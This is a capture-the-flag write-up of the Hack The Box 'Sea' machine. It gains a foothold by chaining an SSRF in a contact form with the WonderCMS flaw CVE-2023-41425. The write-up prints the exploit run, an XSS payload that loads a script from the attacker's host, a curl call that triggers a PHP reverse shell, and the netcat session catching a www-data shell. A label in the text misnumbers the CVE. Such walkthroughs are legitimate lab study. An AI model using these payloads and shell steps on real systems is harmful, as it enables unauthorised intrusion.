RCE via SSRF to CVE-2023-41425
A SSRF vulnerability has been identified in the target web application at the Website
parameter of the contact.php
file.
The target web application has been confirmed to be running off a vulnerable instance of WonderCMS, and it suffers from a RCE vulnerability; [[Sea_CVE-2023-41425#[CVE-2023-41425](https //nvd.nist.gov/vuln/detail/CVE-2023-41425)|CVE-2021-41425]]. The exploit script has been modified
┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ python3 exploit.py http://sea.htb/loginURL 10.10.15.34 9999
[+] xss.js is created
[+] execute the below command in another terminal
----------------------------
nc -lvp 9999
----------------------------
send the below link to admin:
----------------------------
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.15.34:8000/xss.js"></script><form+action="
----------------------------
starting HTTP server to allow the access to xss.js
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Executing the exploit script, generating the xss.js
file containing a request to fetch an archiving containing a PHP reverse shell
Delivering the XSS payload to the target web application via SSRF in the
website
parameter of the contact
file
The admin “clicked” the link as the web application fetched the
xss.js
file from Kali web server
Interestingly, I am not getting a callback to fetch the
main.zip
file
┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.15.34&lport=9999'
However, I am able to trigger a reverse shell
┌──(kali㉿kali)-[~/…/htb/labs/sea/CVE-2023-41425]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.66] from (UNKNOWN) [10.10.11.28] 38270
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
14:39:27 up 43 min, 2 users, load average: 40.18, 28.67, 18.60
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
can't access tty; job control turned off
$ whoami
www-data
$ hostname
sea
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.28 netmask 255.255.254.0 broadcast 10.10.11.255
ether 00:50:56:94:6a:71 txqueuelen 1000 (Ethernet)
RX packets 5056402 bytes 518740992 (518.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4792015 bytes 4625153812 (4.6 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 124014 bytes 12776479 (12.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 124014 bytes 12776479 (12.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the www-data
account via chaining SSRF with CVE-2023-41425
What happened?
How was I able to execute the PHP reverse shell, when the web application never ran the xss.js
file and fetched the main.zip
file?
www-data@sea:/var/www/sea$ ll themes
total 16K
4.0K drwxr-xr-x 4 www-data www-data 4.0K Jul 31 15:17 .
4.0K drwxr-xr-x 2 www-data www-data 4.0K Jul 31 15:17 revshell-main
4.0K drwxr-xr-x 6 www-data www-data 4.0K Feb 22 03:06 ..
4.0K drwxr-xr-x 4 www-data www-data 4.0K Feb 22 02:54 bike
Checking at the /themes
directory, I see the revshell-main
directory containing the rev.php
file.
The last modified date is set to July 31. This suggests that the revshell-main
directory exists by default..